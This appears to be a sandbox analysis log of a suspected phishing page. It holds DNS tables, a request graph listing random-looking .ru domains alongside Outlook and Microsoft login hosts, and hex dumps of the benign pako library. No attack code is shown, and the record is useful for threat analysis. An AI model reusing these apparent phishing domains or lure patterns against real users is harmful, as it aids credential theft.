Dec 11, 2024 02:08:29.223675966 CET	1.1.1.1	192.168.2.4	0x961c	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 02:08:29.223711967 CET	1.1.1.1	192.168.2.4	0xb95a	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:29.223711967 CET	1.1.1.1	192.168.2.4	0xb95a	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:29.223711967 CET	1.1.1.1	192.168.2.4	0xb95a	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:29.223711967 CET	1.1.1.1	192.168.2.4	0xb95a	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:29.223803997 CET	1.1.1.1	192.168.2.4	0xc329	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:29.223803997 CET	1.1.1.1	192.168.2.4	0xc329	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:29.224972963 CET	1.1.1.1	192.168.2.4	0x7866	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 02:08:29.225123882 CET	1.1.1.1	192.168.2.4	0xd264	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:29.225123882 CET	1.1.1.1	192.168.2.4	0xd264	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:31.481321096 CET	1.1.1.1	192.168.2.4	0x73f3	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:31.481321096 CET	1.1.1.1	192.168.2.4	0x73f3	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:31.481321096 CET	1.1.1.1	192.168.2.4	0x73f3	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:31.481321096 CET	1.1.1.1	192.168.2.4	0x73f3	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:33.010662079 CET	1.1.1.1	192.168.2.4	0x403b	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:33.010662079 CET	1.1.1.1	192.168.2.4	0x403b	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:33.011023998 CET	1.1.1.1	192.168.2.4	0xf240	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 02:08:33.046411037 CET	1.1.1.1	192.168.2.4	0x5c97	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 11, 2024 02:08:33.047168970 CET	1.1.1.1	192.168.2.4	0x85b1	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:33.047168970 CET	1.1.1.1	192.168.2.4	0x85b1	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:39.209089041 CET	1.1.1.1	192.168.2.4	0xa55c	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:56.532721996 CET	1.1.1.1	192.168.2.4	0x8c1c	No error (0)	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru		104.21.32.251	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:56.532721996 CET	1.1.1.1	192.168.2.4	0x8c1c	No error (0)	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru		172.67.139.11	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:08:56.532999992 CET	1.1.1.1	192.168.2.4	0xbb3	No error (0)	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru			65	IN (0x0001)	false
Dec 11, 2024 02:09:00.028692007 CET	1.1.1.1	192.168.2.4	0x4864	No error (0)	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru			65	IN (0x0001)	false
Dec 11, 2024 02:09:00.029391050 CET	1.1.1.1	192.168.2.4	0xb972	No error (0)	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru		104.21.32.251	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:00.029391050 CET	1.1.1.1	192.168.2.4	0xb972	No error (0)	dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru		172.67.139.11	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:00.116007090 CET	1.1.1.1	192.168.2.4	0xd3ac	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:00.116007090 CET	1.1.1.1	192.168.2.4	0xd3ac	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:00.116007090 CET	1.1.1.1	192.168.2.4	0xd3ac	No error (0)	ooc-g2.tm-4.office.com		52.98.95.210	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:00.116007090 CET	1.1.1.1	192.168.2.4	0xd3ac	No error (0)	ooc-g2.tm-4.office.com		40.99.70.210	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:00.116007090 CET	1.1.1.1	192.168.2.4	0xd3ac	No error (0)	ooc-g2.tm-4.office.com		40.99.32.114	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:00.116007090 CET	1.1.1.1	192.168.2.4	0xd3ac	No error (0)	ooc-g2.tm-4.office.com		40.99.68.34	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:00.116007090 CET	1.1.1.1	192.168.2.4	0xd3ac	No error (0)	ooc-g2.tm-4.office.com		52.98.32.2	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:00.116007090 CET	1.1.1.1	192.168.2.4	0xd3ac	No error (0)	ooc-g2.tm-4.office.com		40.99.70.226	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:00.116007090 CET	1.1.1.1	192.168.2.4	0xd3ac	No error (0)	ooc-g2.tm-4.office.com		40.99.70.194	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:00.116007090 CET	1.1.1.1	192.168.2.4	0xd3ac	No error (0)	ooc-g2.tm-4.office.com		52.98.61.34	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:00.242022991 CET	1.1.1.1	192.168.2.4	0x6408	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:00.242022991 CET	1.1.1.1	192.168.2.4	0x6408	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:02.908951044 CET	1.1.1.1	192.168.2.4	0x54c9	No error (0)	outlook.live.com	olc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:02.908951044 CET	1.1.1.1	192.168.2.4	0x54c9	No error (0)	olc-g2.tm-4.office.com		40.99.70.226	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:02.908951044 CET	1.1.1.1	192.168.2.4	0x54c9	No error (0)	olc-g2.tm-4.office.com		52.98.61.34	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:02.908951044 CET	1.1.1.1	192.168.2.4	0x54c9	No error (0)	olc-g2.tm-4.office.com		52.98.61.50	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:02.908951044 CET	1.1.1.1	192.168.2.4	0x54c9	No error (0)	olc-g2.tm-4.office.com		40.99.70.210	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:02.908951044 CET	1.1.1.1	192.168.2.4	0x54c9	No error (0)	olc-g2.tm-4.office.com		40.99.68.34	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:02.908951044 CET	1.1.1.1	192.168.2.4	0x54c9	No error (0)	olc-g2.tm-4.office.com		52.98.32.2	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:02.908951044 CET	1.1.1.1	192.168.2.4	0x54c9	No error (0)	olc-g2.tm-4.office.com		40.99.60.2	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:02.908951044 CET	1.1.1.1	192.168.2.4	0x54c9	No error (0)	olc-g2.tm-4.office.com		40.99.70.178	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:03.268582106 CET	1.1.1.1	192.168.2.4	0x4a63	No error (0)	outlook.live.com	olc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:03.268582106 CET	1.1.1.1	192.168.2.4	0x4a63	No error (0)	olc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:03.268582106 CET	1.1.1.1	192.168.2.4	0x4a63	No error (0)	outlook.ms-acdc.office.com	MRS-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:11.472470045 CET	1.1.1.1	192.168.2.4	0x4372	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:11.882644892 CET	1.1.1.1	192.168.2.4	0xf48a	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:11.882834911 CET	1.1.1.1	192.168.2.4	0xc7c8	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:11.958367109 CET	1.1.1.1	192.168.2.4	0x7c4a	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:14.361351967 CET	1.1.1.1	192.168.2.4	0x43da	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:14.362025976 CET	1.1.1.1	192.168.2.4	0x19ad	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:16.066806078 CET	1.1.1.1	192.168.2.4	0x9074	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:16.164717913 CET	1.1.1.1	192.168.2.4	0x8b8d	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:18.215537071 CET	1.1.1.1	192.168.2.4	0xde8e	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:18.215846062 CET	1.1.1.1	192.168.2.4	0x4bd	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829080105 CET	1.1.1.1	192.168.2.4	0x7d76	No error (0)	outlook.live.com	olc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829080105 CET	1.1.1.1	192.168.2.4	0x7d76	No error (0)	olc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829080105 CET	1.1.1.1	192.168.2.4	0x7d76	No error (0)	outlook.ms-acdc.office.com	MRS-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829092979 CET	1.1.1.1	192.168.2.4	0x46e0	No error (0)	outlook.live.com	olc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829092979 CET	1.1.1.1	192.168.2.4	0x46e0	No error (0)	olc-g2.tm-4.office.com		40.99.70.178	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829092979 CET	1.1.1.1	192.168.2.4	0x46e0	No error (0)	olc-g2.tm-4.office.com		40.99.68.34	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829092979 CET	1.1.1.1	192.168.2.4	0x46e0	No error (0)	olc-g2.tm-4.office.com		40.99.70.194	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829092979 CET	1.1.1.1	192.168.2.4	0x46e0	No error (0)	olc-g2.tm-4.office.com		40.99.70.226	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829092979 CET	1.1.1.1	192.168.2.4	0x46e0	No error (0)	olc-g2.tm-4.office.com		40.99.32.114	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829092979 CET	1.1.1.1	192.168.2.4	0x46e0	No error (0)	olc-g2.tm-4.office.com		40.99.70.210	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829092979 CET	1.1.1.1	192.168.2.4	0x46e0	No error (0)	olc-g2.tm-4.office.com		52.98.61.50	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:09:26.829092979 CET	1.1.1.1	192.168.2.4	0x46e0	No error (0)	olc-g2.tm-4.office.com		52.98.95.210	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:10:16.252458096 CET	1.1.1.1	192.168.2.4	0x4187	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:10:16.339010000 CET	1.1.1.1	192.168.2.4	0x18dd	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:10:32.920470953 CET	1.1.1.1	192.168.2.4	0x297e	No error (0)	outlook.live.com	olc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:10:32.920470953 CET	1.1.1.1	192.168.2.4	0x297e	No error (0)	olc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:10:32.920470953 CET	1.1.1.1	192.168.2.4	0x297e	No error (0)	outlook.ms-acdc.office.com	MRS-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:10:32.920470953 CET	1.1.1.1	192.168.2.4	0x297e	No error (0)	MRS-efz.ms-acdc.office.com		52.97.173.18	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:10:32.920470953 CET	1.1.1.1	192.168.2.4	0x297e	No error (0)	MRS-efz.ms-acdc.office.com		52.98.159.2	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:10:32.920470953 CET	1.1.1.1	192.168.2.4	0x297e	No error (0)	MRS-efz.ms-acdc.office.com		52.98.159.18	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:10:32.920470953 CET	1.1.1.1	192.168.2.4	0x297e	No error (0)	MRS-efz.ms-acdc.office.com		52.97.168.194	A (IP address)	IN (0x0001)	false
Dec 11, 2024 02:10:33.086035013 CET	1.1.1.1	192.168.2.4	0xa0d5	No error (0)	outlook.live.com	olc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:11:22.788475037 CET	1.1.1.1	192.168.2.4	0xd7b3	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 02:11:22.901518106 CET	1.1.1.1	192.168.2.4	0x35bf	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cdnjs.cloudflare.com

cosenzaconsulting.co

cj.qhggzzwnpfh.ru

https:

code.jquery.com

challenges.cloudflare.com

dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru

www.outlook.com

outlook.live.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.17.25.14	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:21 UTC	516	OUT	GET /ajax/libs/pako/2.0.4/pako.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:21 UTC	950	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:21 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"6102d866-36c3" Last-Modified: Thu, 29 Jul 2021 16:33:42 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: MISS Expires: Mon, 01 Dec 2025 01:08:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zIY6%2BJxrr%2FjYwmdDbTa10vGeqqz2tIpjEEbYUuUFiXcOMMojP1fd1XZ%2FCQyC7w3nXg0nbA0Go%2FqGLCeSLpOCnHOZD0vwiX6Su3x0OKMrrNuOItUW2Y0sjfuJS6WNICVzgl%2Bs0ZzH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f0195432f8f43b5-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:21 UTC	419	IN	Data Raw: 37 62 66 62 0d 0a 2f 2a 21 20 70 61 6b 6f 20 32 2e 30 2e 34 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6e 6f 64 65 63 61 2f 70 61 6b 6f 20 40 6c 69 63 65 6e 73 65 20 28 4d 49 54 20 41 4e 44 20 5a 6c 69 62 29 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 65 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 65 29 3a 65 28 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 Data Ascii: 7bfb/! pako 2.0.4 https://github.com/nodeca/pako @license (MIT AND Zlib) /!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?g
2024-12-11 01:08:21 UTC	1369	IN	Data Raw: 2c 30 2c 30 2c 30 2c 31 2c 31 2c 31 2c 31 2c 32 2c 32 2c 32 2c 32 2c 33 2c 33 2c 33 2c 33 2c 34 2c 34 2c 34 2c 34 2c 35 2c 35 2c 35 2c 35 2c 30 5d 29 2c 6c 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 5b 30 2c 30 2c 30 2c 30 2c 31 2c 31 2c 32 2c 32 2c 33 2c 33 2c 34 2c 34 2c 35 2c 35 2c 36 2c 36 2c 37 2c 37 2c 38 2c 38 2c 39 2c 39 2c 31 30 2c 31 30 2c 31 31 2c 31 31 2c 31 32 2c 31 32 2c 31 33 2c 31 33 5d 29 2c 6f 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 5b 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 32 2c 33 2c 37 5d 29 2c 68 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 5b 31 36 2c 31 37 2c 31 38 2c 30 2c 38 2c 37 2c 39 2c 36 2c 31 30 2c 35 2c 31 31 2c 34 2c 31 32 2c 33 2c 31 33 2c 32 2c 31 Data Ascii: ,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0]),l=new Uint8Array([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13]),o=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7]),h=new Uint8Array([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,1
2024-12-11 01:08:21 UTC	1369	IN	Data Raw: 2e 62 69 5f 62 75 66 29 3a 74 2e 62 69 5f 76 61 6c 69 64 3e 30 26 26 28 74 2e 70 65 6e 64 69 6e 67 5f 62 75 66 5b 74 2e 70 65 6e 64 69 6e 67 2b 2b 5d 3d 74 2e 62 69 5f 62 75 66 29 2c 74 2e 62 69 5f 62 75 66 3d 30 2c 74 2e 62 69 5f 76 61 6c 69 64 3d 30 7d 2c 55 3d 28 74 2c 65 2c 61 2c 69 29 3d 3e 7b 63 6f 6e 73 74 20 6e 3d 32 2a 65 2c 73 3d 32 2a 61 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 3c 74 5b 73 5d 7c 7c 74 5b 6e 5d 3d 3d 3d 74 5b 73 5d 26 26 69 5b 65 5d 3c 3d 69 5b 61 5d 7d 2c 53 3d 28 74 2c 65 2c 61 29 3d 3e 7b 63 6f 6e 73 74 20 69 3d 74 2e 68 65 61 70 5b 61 5d 3b 6c 65 74 20 6e 3d 61 3c 3c 31 3b 66 6f 72 28 3b 6e 3c 3d 74 2e 68 65 61 70 5f 6c 65 6e 26 26 28 6e 3c 74 2e 68 65 61 70 5f 6c 65 6e 26 26 55 28 65 2c 74 2e 68 65 61 70 5b 6e 2b 31 5d 2c 74 2e Data Ascii: .bi_buf):t.bi_valid>0&&(t.pending_buf[t.pending++]=t.bi_buf),t.bi_buf=0,t.bi_valid=0},U=(t,e,a,i)=>{const n=2e,s=2a;return t[n]<t[s]\|\|t[n]===t[s]&&i[e]<=i[a]},S=(t,e,a)=>{const i=t.heap[a];let n=a<<1;for(;n<=t.heap_len&&(n<t.heap_len&&U(e,t.heap[n+1],t.
2024-12-11 01:08:21 UTC	1369	IN	Data Raw: 61 74 5f 64 65 73 63 2e 73 74 61 74 69 63 5f 74 72 65 65 2c 72 3d 65 2e 73 74 61 74 5f 64 65 73 63 2e 68 61 73 5f 73 74 72 65 65 2c 6c 3d 65 2e 73 74 61 74 5f 64 65 73 63 2e 65 78 74 72 61 5f 62 69 74 73 2c 6f 3d 65 2e 73 74 61 74 5f 64 65 73 63 2e 65 78 74 72 61 5f 62 61 73 65 2c 68 3d 65 2e 73 74 61 74 5f 64 65 73 63 2e 6d 61 78 5f 6c 65 6e 67 74 68 3b 6c 65 74 20 64 2c 5f 2c 66 2c 63 2c 75 2c 77 2c 62 3d 30 3b 66 6f 72 28 63 3d 30 3b 63 3c 3d 73 3b 63 2b 2b 29 74 2e 62 6c 5f 63 6f 75 6e 74 5b 63 5d 3d 30 3b 66 6f 72 28 61 5b 32 2a 74 2e 68 65 61 70 5b 74 2e 68 65 61 70 5f 6d 61 78 5d 2b 31 5d 3d 30 2c 64 3d 74 2e 68 65 61 70 5f 6d 61 78 2b 31 3b 64 3c 35 37 33 3b 64 2b 2b 29 5f 3d 74 2e 68 65 61 70 5b 64 5d 2c 63 3d 61 5b 32 2a 61 5b 32 2a 5f 2b 31 5d Data Ascii: at_desc.static_tree,r=e.stat_desc.has_stree,l=e.stat_desc.extra_bits,o=e.stat_desc.extra_base,h=e.stat_desc.max_length;let d,_,f,c,u,w,b=0;for(c=0;c<=s;c++)t.bl_count[c]=0;for(a[2t.heap[t.heap_max]+1]=0,d=t.heap_max+1;d<573;d++)_=t.heap[d],c=a[2a[2*_+1]
2024-12-11 01:08:21 UTC	1369	IN	Data Raw: 7b 5a 28 74 29 2c 69 26 26 28 79 28 74 2c 61 29 2c 79 28 74 2c 7e 61 29 29 2c 74 2e 70 65 6e 64 69 6e 67 5f 62 75 66 2e 73 65 74 28 74 2e 77 69 6e 64 6f 77 2e 73 75 62 61 72 72 61 79 28 65 2c 65 2b 61 29 2c 74 2e 70 65 6e 64 69 6e 67 29 2c 74 2e 70 65 6e 64 69 6e 67 2b 3d 61 7d 29 28 74 2c 65 2c 61 2c 21 30 29 7d 3b 76 61 72 20 4e 3d 7b 5f 74 72 5f 69 6e 69 74 3a 74 3d 3e 7b 46 7c 7c 28 28 28 29 3d 3e 7b 6c 65 74 20 74 2c 65 2c 61 2c 68 2c 6b 3b 63 6f 6e 73 74 20 76 3d 6e 65 77 20 41 72 72 61 79 28 31 36 29 3b 66 6f 72 28 61 3d 30 2c 68 3d 30 3b 68 3c 32 38 3b 68 2b 2b 29 66 6f 72 28 75 5b 68 5d 3d 61 2c 74 3d 30 3b 74 3c 31 3c 3c 72 5b 68 5d 3b 74 2b 2b 29 63 5b 61 2b 2b 5d 3d 68 3b 66 6f 72 28 63 5b 61 2d 31 5d 3d 68 2c 6b 3d 30 2c 68 3d 30 3b 68 3c 31 Data Ascii: {Z(t),i&&(y(t,a),y(t,~a)),t.pending_buf.set(t.window.subarray(e,e+a),t.pending),t.pending+=a})(t,e,a,!0)};var N={_tr_init:t=>{F\|\|((()=>{let t,e,a,h,k;const v=new Array(16);for(a=0,h=0;h<28;h++)for(u[h]=a,t=0;t<1<<r[h];t++)c[a++]=h;for(c[a-1]=h,k=0,h=0;h<1
2024-12-11 01:08:21 UTC	1369	IN	Data Raw: 33 2c 72 3c 3d 73 26 26 28 73 3d 72 29 29 3a 73 3d 72 3d 69 2b 35 2c 69 2b 34 3c 3d 73 26 26 2d 31 21 3d 3d 65 3f 4c 28 74 2c 65 2c 69 2c 6e 29 3a 34 3d 3d 3d 74 2e 73 74 72 61 74 65 67 79 7c 7c 72 3d 3d 3d 73 3f 28 78 28 74 2c 32 2b 28 6e 3f 31 3a 30 29 2c 33 29 2c 44 28 74 2c 64 2c 5f 29 29 3a 28 78 28 74 2c 34 2b 28 6e 3f 31 3a 30 29 2c 33 29 2c 28 28 74 2c 65 2c 61 2c 69 29 3d 3e 7b 6c 65 74 20 6e 3b 66 6f 72 28 78 28 74 2c 65 2d 32 35 37 2c 35 29 2c 78 28 74 2c 61 2d 31 2c 35 29 2c 78 28 74 2c 69 2d 34 2c 34 29 2c 6e 3d 30 3b 6e 3c 69 3b 6e 2b 2b 29 78 28 74 2c 74 2e 62 6c 5f 74 72 65 65 5b 32 2a 68 5b 6e 5d 2b 31 5d 2c 33 29 3b 49 28 74 2c 74 2e 64 79 6e 5f 6c 74 72 65 65 2c 65 2d 31 29 2c 49 28 74 2c 74 2e 64 79 6e 5f 64 74 72 65 65 2c 61 2d 31 29 Data Ascii: 3,r<=s&&(s=r)):s=r=i+5,i+4<=s&&-1!==e?L(t,e,i,n):4===t.strategy\|\|r===s?(x(t,2+(n?1:0),3),D(t,d,_)):(x(t,4+(n?1:0),3),((t,e,a,i)=>{let n;for(x(t,e-257,5),x(t,a-1,5),x(t,i-4,4),n=0;n<i;n++)x(t,t.bl_tree[2*h[n]+1],3);I(t,t.dyn_ltree,e-1),I(t,t.dyn_dtree,a-1)
2024-12-11 01:08:21 UTC	1369	IN	Data Raw: 6d 70 61 74 69 62 6c 65 20 76 65 72 73 69 6f 6e 22 7d 2c 6a 3d 7b 5a 5f 4e 4f 5f 46 4c 55 53 48 3a 30 2c 5a 5f 50 41 52 54 49 41 4c 5f 46 4c 55 53 48 3a 31 2c 5a 5f 53 59 4e 43 5f 46 4c 55 53 48 3a 32 2c 5a 5f 46 55 4c 4c 5f 46 4c 55 53 48 3a 33 2c 5a 5f 46 49 4e 49 53 48 3a 34 2c 5a 5f 42 4c 4f 43 4b 3a 35 2c 5a 5f 54 52 45 45 53 3a 36 2c 5a 5f 4f 4b 3a 30 2c 5a 5f 53 54 52 45 41 4d 5f 45 4e 44 3a 31 2c 5a 5f 4e 45 45 44 5f 44 49 43 54 3a 32 2c 5a 5f 45 52 52 4e 4f 3a 2d 31 2c 5a 5f 53 54 52 45 41 4d 5f 45 52 52 4f 52 3a 2d 32 2c 5a 5f 44 41 54 41 5f 45 52 52 4f 52 3a 2d 33 2c 5a 5f 4d 45 4d 5f 45 52 52 4f 52 3a 2d 34 2c 5a 5f 42 55 46 5f 45 52 52 4f 52 3a 2d 35 2c 5a 5f 4e 4f 5f 43 4f 4d 50 52 45 53 53 49 4f 